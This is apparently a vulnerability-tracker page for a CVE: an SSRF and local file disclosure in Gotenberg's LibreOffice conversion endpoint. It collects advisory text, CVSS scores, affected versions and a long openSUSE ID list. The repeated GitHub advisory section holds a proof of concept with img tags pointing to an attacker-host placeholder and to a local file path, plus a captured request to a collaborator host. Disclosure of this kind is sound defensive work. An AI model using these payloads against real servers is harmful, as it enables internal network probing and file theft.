CVE-2026-55229
Gotenberg: SSRF via LibreOffice document processing
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.34.0, Gotenberg's /forms/libreoffice/convert endpoint allows a specially crafted document to cause LibreOffice to automatically retrieve external HTTP(S) resources and local file resources during document conversion, enabling blind SSRF and limited local file disclosure via linked image resource loading. This issue is fixed in version 8.34.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
Gotenberg: SSRF via LibreOffice document processing
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.34.0, Gotenberg's /forms/libreoffice/convert endpoint allows a specially crafted document to cause LibreOffice to automatically retrieve external HTTP(S) resources and local file resources during document conversion, enabling blind SSRF and limited local file disclosure via linked image resource loading. This issue is fixed in version 8.34.0.
- Record
CVE-2026-55229- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-43029
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.34.0, Gotenberg's /forms/libreoffice/convert endpoint allows a specially crafted document to cause LibreOffice to automatically retrieve external HTTP(S) resources and local file resources during document conversion, enabling blind SSRF and limited local file disclosure via linked image resource loading. This issue is fixed in version 8.34.0.
- Record
EUVD-2026-43029- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2mrg-35hw-x3x9
Gotenberg: SSRF via LibreOffice document processing
Summary
Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration.
By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.
Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.
PoC
External Resource Retrieval
Create a DOCX document containing the following content:
<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">
Upload the document to the /forms/libreoffice/convert endpoint.
During document processing, LibreOffice automatically retrieves the referenced external resource.
An outbound request can be observed on Burp Collaborator:
GET /secretendpoint?query=hacked HTTP/1.1
Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com
User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Local Resource Retrieval
Create a DOCX document containing the following content:
<img src="/path/to/image.png">
Upload the document to the /forms/libreoffice/convert endpoint.
During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.
Result in output document (used payload - <img src="/usr/share/pixmaps/debian-logo.png">):
<img width="1346" height="397" alt="result" src="https://github.com/user-attachments/assets/52e18316-6654-4341-82e8-14df6c1d7d5e" />
Impact
The identified vulnerability enables two primary attack vectors:
Blind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.
Local File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.
Notes
The issue was reproduced on Gotenberg v8.33.0 under the default configuration.
Given the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.
- Record
GHSA-2mrg-35hw-x3x9- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.34.0, Gotenberg's /forms/libreoffice/convert endpoint allows a specially crafted document to cause LibreOffice to automatically retrieve external HTTP(S) resources and local file resources during document conversion, enabling blind SSRF and limited local file disclosure via linked image resource loading. This issue is fixed in version 8.34.0.
- Record
CVE-2026-55229- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
Gotenberg: SSRF via LibreOffice document processing
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.34.0, Gotenberg's /forms/libreoffice/convert endpoint allows a specially crafted document to cause LibreOffice to automatically retrieve external HTTP(S) resources and local file resources during document conversion, enabling blind SSRF and limited local file disclosure via linked image resource loading. This issue is fixed in version 8.34.0.
- Record
CVE-2026-55229- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-2mrg-35hw-x3x9
Gotenberg: SSRF via LibreOffice document processing
Summary
Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration.
By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.
Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.
PoC
External Resource Retrieval
Create a DOCX document containing the following content:
<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">
Upload the document to the /forms/libreoffice/convert endpoint.
During document processing, LibreOffice automatically retrieves the referenced external resource.
An outbound request can be observed on Burp Collaborator:
GET /secretendpoint?query=hacked HTTP/1.1
Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com
User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Local Resource Retrieval
Create a DOCX document containing the following content:
<img src="/path/to/image.png">
Upload the document to the /forms/libreoffice/convert endpoint.
During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.
Result in output document (used payload - <img src="/usr/share/pixmaps/debian-logo.png">):
<img width="1346" height="397" alt="result" src="https://github.com/user-attachments/assets/52e18316-6654-4341-82e8-14df6c1d7d5e" />
Impact
The identified vulnerability enables two primary attack vectors:
Blind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.
Local File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.
Notes
The issue was reproduced on Gotenberg v8.33.0 under the default configuration.
Given the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.
- Record
GHSA-2mrg-35hw-x3x9- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGO-2026-5060 No score
Gotenberg: SSRF via LibreOffice document processing in github.com/gotenberg/gotenberg
Gotenberg: SSRF via LibreOffice document processing in github.com/gotenberg/gotenberg
- Record
GO-2026-5060- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
- GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
- GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
- GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
- GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
- GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
- GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
- GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
- GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
- GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
- GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
- GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
- GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
- GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
- GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
- GO-2026-5933 GHSA-3g4q-2f67-2gvh
- GO-2026-5934 GHSA-59qp-cfj3-rp64
- GO-2026-5935 GHSA-7856-g3gv-9wq8
- GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
- GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
- GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
- GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
- GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
- GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
- GO-2026-5942 CVE-2026-46600
- GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
- GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
- GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
- GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
- GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
- GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
- GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
- GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
- GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
- GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
- GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
- GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
- GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
- GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
- GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
- GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
- GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
- GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
- GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
- GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
- GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
- GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
- GO-2026-5969 GHSA-g936-7jqj-mwv8
- GO-2026-5970 CVE-2026-56852
- GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
- GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
- GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
- GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
- GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
- GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
- GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
- GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
- GO-2026-5981 GHSA-mqxv-9rm6-w8qc
- GO-2026-5982 GHSA-pqg7-v6wh-3pfp
- GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
- GO-2026-5985 GHSA-7rx3-5wx3-5v76
- GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
- GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
- GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
- GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
- GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
- GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
- GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
- GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
- GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
- GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
- GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
- GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
- GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
- GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
- GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
- GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
- Record
openSUSE-SU-2026:21483-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/gotenberg/gotenberg/v8Go |
before 8.34.0 | 8.34.0 |
github.com/gotenberg/gotenberg/v7Go |
All versions | None known |
govulncheck-vulndbopenSUSE:Leap 16.0 From an advisory covering 1734 CVEs |
before 0.0.20260723T184607-160000.1.1 | 0.0.20260723T184607-160000.1.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | Gotenberg < 8.34.0 - Local File Disclosure |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55229 is a high vulnerability (CVSS 7.5) in Gotenberg, published June 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.51%, the 74th percentile. Fixed in github.com/gotenberg/gotenberg/v8 8.34.0.
References
github.com/gotenberg/gotenberg/security/advisories/GHSA-2mrg-35hw-x3x9
nvd.nist.gov/vuln/detail/CVE-2026-55229
Show 194 moreShow less
suse.com/security/cve/CVE-2016-11063
Left out here: 1,541 references and the rest of 1 source description. The JSON record has them.